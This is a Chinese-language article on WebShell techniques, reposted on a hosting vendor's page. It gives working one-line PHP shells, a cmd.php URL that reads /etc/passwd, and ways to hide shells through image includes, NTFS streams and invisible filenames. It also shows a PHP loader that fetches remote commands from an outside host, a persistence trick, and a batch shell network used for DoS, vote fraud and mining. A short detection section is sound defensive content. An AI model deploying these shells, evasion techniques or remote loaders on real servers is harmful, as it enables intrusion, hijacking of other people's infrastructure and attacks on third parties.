广州睿东网络科技有限公司是国内最专业的香港空间,云主机,香港VPS,香港服务器租用提供商,专注为国内站长提供高速且稳定的香港空间,云主机,香港VPS,香港服务器租用,欢迎您的选购!
当前位置:首页 -> 香港主机 -> 域名优惠

WebShell技术总结

云服务器 34℃ 1887评论

写下这篇文章时刚好看到一条新闻:满大街都在用的WebShell客户端管理工具某菜刀官网遭仿冒,无数小黑的WebShell被后门版管理工具窃取……

这是一遍针对WebShell的总结性文档,如果您已经熟知这方面的知识,请直接跳入本文档底部找你需要的干货。本篇内容是对附件中PPT的阐述和补充。

百度:WebShell就是以ASP、PHP、JSP或CGI等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。

什么时候需要WebShell?

差不多我人生第一次真正意义上拿下一个网站,依靠的是雷傲BBS的一个上传漏洞。在一个CGI后门cmd.cgi的帮助下,我最终拿到了系统管理员权限。

通常,遇到如下场景你会非常需要一个WebShell:

  • 你发现并利用了一个网站的漏洞

  • 得到了Web权限但没有系统权限

  • 希望下一次能够优雅地连接系统

主要功能

在不同的使用场景和运行环境下,WebShell的功能不尽相通。典型的WebShell功能主要包括以下类别:

  • 环境探针

  • 资源管理

  • 文件编辑

  • 执行OS命令

  • 读取注册表

  • 创建Socket

  • 调用系统组件

以执行命令为例,WebShell可以调用脚本文件的内部函数执行操作系统shell命令。只要权限足够,你可以无限发挥这一功能。

<?php echo system($_GET['cmd']); ?>



扩展功能

事实上经过业界多年的应用和扩展,WebShell的功能也越来越强大。在一些特定的场景下,WebShell往往能够发挥超强的杀伤力。

权限提升

一般情况下WebShell的权限等同于Web Server的权限,如需更高级的系统权限需要提升shell的执行权限。某些功能强的的WebShell可协助攻击者从IIS/Apache/Nginx等Web Server的权限提升到操作系统Administrator/Root权限。

DDoS

利用Web服务器的计算能力、带宽资源发起DDoS攻击,可以替代传统僵尸网络中需要植入木马的客户端。

网页挂马

篡改网页代码内容,植入恶意JS代码,从而实现刷流量,盗Cookie;更有甚者针对访问者植入针对浏览器或控件的0Day攻击代码。

“黑帽”SEO

只能说这是一个很大的产业链,通过页面劫持可以实现针对爬虫和真实用户返回不同的内容。你在搜索引擎中看到很多gov网站的标题不堪入目,通常是这个网站已经沦陷的充分证明。想看效果,自行百度inurl:gov.cn 六合彩”。

代理服务器

网站被拿下用作代理服务器是常有的事。众所周知通常网站都不输在IDC机房,计算能力和带宽资源非常丰厚,用作代理服务器是相当不错的选择。特别是你要访问某些海外资源时,能有个IDC的服务器帮你做个摆渡,速度会快不少。

端口扫描

利用Web服务器作为扫描器虽然效率低且未必能充分满足要求,但在一定程度上能够非常有效地隐蔽攻击者的身份。

内网探测

Web服务器往往能够和内网中其它服务器直接进行通讯,例如数据库服务器、LDAP服务器等。充分利用WebShell的这一优势,可助内网渗透攻击一臂之力。内网服务器之间安全策略较为宽松,请求响应延迟低,WebShell是刺探内网情报的最佳工具之一。

发挥你的想象

WebShell强大的功能,完全取决于你的想象力!

基于功能强弱的分类

全功能型:什么都能做

WebShell界的十项全能。当然,功能强大的基础是代码量大。其字符串特征明显,容易被安全工具查杀。

资源管理:文件和目录管理

通常这类WebShell被称为站长管理工具,方便站长在线编辑网站文件。当然也可以用于恶意操作:)

命令执行:执行系统命令

顾名思义,该WebShell只负责执行系统命令。如果系统命令用得熟,也是什么都能干的!举个例子:

http://www.example.com/cmd.php?cmd=cat /etc/passwd

上传型:负责上传“大马”

在某些特殊场景下,攻击者无法上传一个长度超过几百K的全能型WebShell,此时可以选择先上传一个简单的“中继器”。该中继WebShell只负责一个功能,提供在服务器创建新的文件的能力。 


一句话型:短小精悍

顾名思义该WebShell的代码只有一行。因为其短小精悍,已然成为居家旅行,杀人灭口,渗透测试的必备工具。一句话WebShell通常用于执行客户端传递过来的脚本代码,而不是某个功能或模块的参数。这给WebShell功能扩展提供了巨大的想象空间。典型的一句话WebShell代码如下:

<?php eval($_POST['code']); ?>

WebShell检测思路

WebShell检测是攻防对抗中的一个重要环节,是安全防护人员必修之课。如何快速检测Web Server是否已经被WebShell控制,对网站安全来说至关重要。以下是典型的WebShell检测思路:

关键字检查

关键字匹配是最常见的检测方法,例如一句话WebShell中的eval函数名就是非常危险的关键字。主要依赖检测者WebShell特征库的大小和强弱。同时特征匹配本身也存在误报和漏报的问题。

文件状态对比

Web Server上增加或修改了一个文件一定可以通过技术手段发现。目前已有类似的安全产品,定期扫描服务器上文件的变化,甚至比对每一个文件当前和历史的MD5数值,快速定位可疑文件。

运行特征检测

部署在服务器上的WebShell最终是要被访问的。识别WebShell可以从一些反常的请求行为上做判断,例如:非工作时间无明显业务参数的连续脚本文件请求。

审核代码逻辑

通过人工或软件的方式对代码运行逻辑进行检查,通常被称为白盒检测。严格审核代码的逻辑是可以精确发现WebShell,但现状是:人工方式效率非常低下,工具检测误报严重。

WebShell检测规避

当然,为了规避各种检测手段,业界也由很多典型的检测规避措施。以下措施能够在一定程度上降低WebShell被检测出来的机率。

主流方法

  • 字符混淆 OR 变量生成关键字

为了规避关键检测,可以通过一些变量组合的方式生成函数关键字。

  • 文件包含

将WebShell文件拆分成2个以上文件,通过include方式载入主体文件是常用的规避检测方式。最典型的是将WebShell功能代码写到JPG文件,然后再包含到脚本文件。

<?php include "images/logo.jpg"; ?>

奇思妙想 

看不见的文件名:全角中文空格作为文件名,真正的代码在这个看不见文件名的文件中,例如:

<?php include " "; ?>

  • 隐藏目录:虚拟目录、NTFS数据流

如果攻击者可以操作Web Server配置文件,可以将WebShell文件放在非网站目录下,从而绕过文件检查。也可以利用Windows NTFS数据流特征创建神奇的WebShell文件,例如:

<?php include "./test.php:.txt"; ?>

其中./test.php:.txt这个文件无法在资源管理器看到,命令行下的大小为0。

  • 利用HTTP:数据通过HTTP HEAD或Cookie传递

绝大多数WebShell的数据交互式是在HTTP协议的Body区段完成的,如果将指令放在HTTP HEAD中,可以绕过各种拦截工具的检查

  • 借助数据库:将shell关键代码存放在数据库中

代码存放在数据库中,WebShell将更加隐蔽。这给查杀也带来了巨大的挑战。

WebShell高级攻防技巧

三种姿势检测WebShell

下图是典型WebShell请求和响应时序图,是WebShell行为特征的抽象代表:


稍作总结即可发现,至少有3个环节可以用于WebShell监测:

  • WebShell文件特征

  • WebShell请求的HTTP特征

  • WebShell响应的HTTP特征

这里推荐Mod Security这款开源WAF(Web Application Firewall),它能够在Web Server上有效拦截Web各类攻击以及拦截WebShell的请求响应。

打破规则:请求响应分离

仔细体会WebShell监测3大环节,你一定会有所收获。事实上,请求响应环节完全可以规避,从而躲过各类WAF的查杀。其核心的思想是:

  • 减少字符特征

  • 远程加载指令

  • 请求响应分离 

    • 无HTTP请求特征

    • 无HTTP响应特征

具体实现思路的时序图如下:


  • 第1环节无任何特征

  • 第2和4环节由Web Server对外发起,不经过WAF

  • 第3环节仅执行代码,无落地文件

  • hacker1.com和hacker2.com可以是一台服务器

还能再精彩点吗?

基于以上思路,我结合了脚本文件的一些特征,开发了一套支持任务发布的批量WebShell管理工具。

加载远程指令

<?php include('http://example.com/logo.png'); ?>

如果PHP环境变量allow_url_include = off,可以使用下面的代码替代:

<?php 
@file_put_contents('_',@file_get_contents('http://127.0.0.1/x.png')); @include('-'); @delete('_');
?>

logo.png的返回内容完全由example.com控制。

利用死循环


首先该WebShell只需一次请求即可,以后的指令是WebShell自己从远程服务器周期性加载的,这完全规避了访问行为检测。 以PHP为例,程序启动后可以不再响应浏览器的关闭动作,同时进入死循环工作状态。首次加载远程代码时可以带上下面的代码:

<?php
ignore_user_abort(true); set_time_limit(0);
?>

只要Apache/Nginx不重启,这个WebShell会一直处于运行状态并定时请求远程指令。

任务分发

如果只是通过一般的webshell客户端管理工具来维护WebShell,那么绝大多数情况下WebShell都是静躺在磁盘中的,价值完全没有被充分发挥。本Shell管理系统则完全不同,充分发掘了WebShell的价值。随着被管理的WebShell逐渐增多,还可以开发一套独立的管理界面进行管理。

由于每个WebShell有自身的运行ID,因此可以针对不同的WebShell发布不同的指令执行不同的任务:

  • 执行一段神奇的代码

  • 集中DoS某个目标网站

  • 运行一个刷票插件

  • 开挖比特币

  • 展开你的想象

下图是个示例,不代表本人真的使用过:)



网站后门之WebShell技术分享.PPT

https://www.evernote.com/shard/s695/sh/94310fe3-ea65-4528-8525-4ef089f965e8/4b1f7e2013c2048bc4cd860c159ea07e


“评论”+“转发” 就有机会获取 精美礼品一份

活动规则:

步骤一:写下您的精彩评论并转发到朋友圈;

步骤二:将截图直接回复本公众号;

我们将会从精彩评论的朋友中随机抽取5位,赠送精美礼品一份!

活动截止日期:2016年3月20号,公布获奖幸运朋友名单。

若有任何疑问,请随时回复本公众号咨询,我们有专人为您回复。

(活动最终解释权归VSRC所有)



投诉
喜欢 (1887)

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: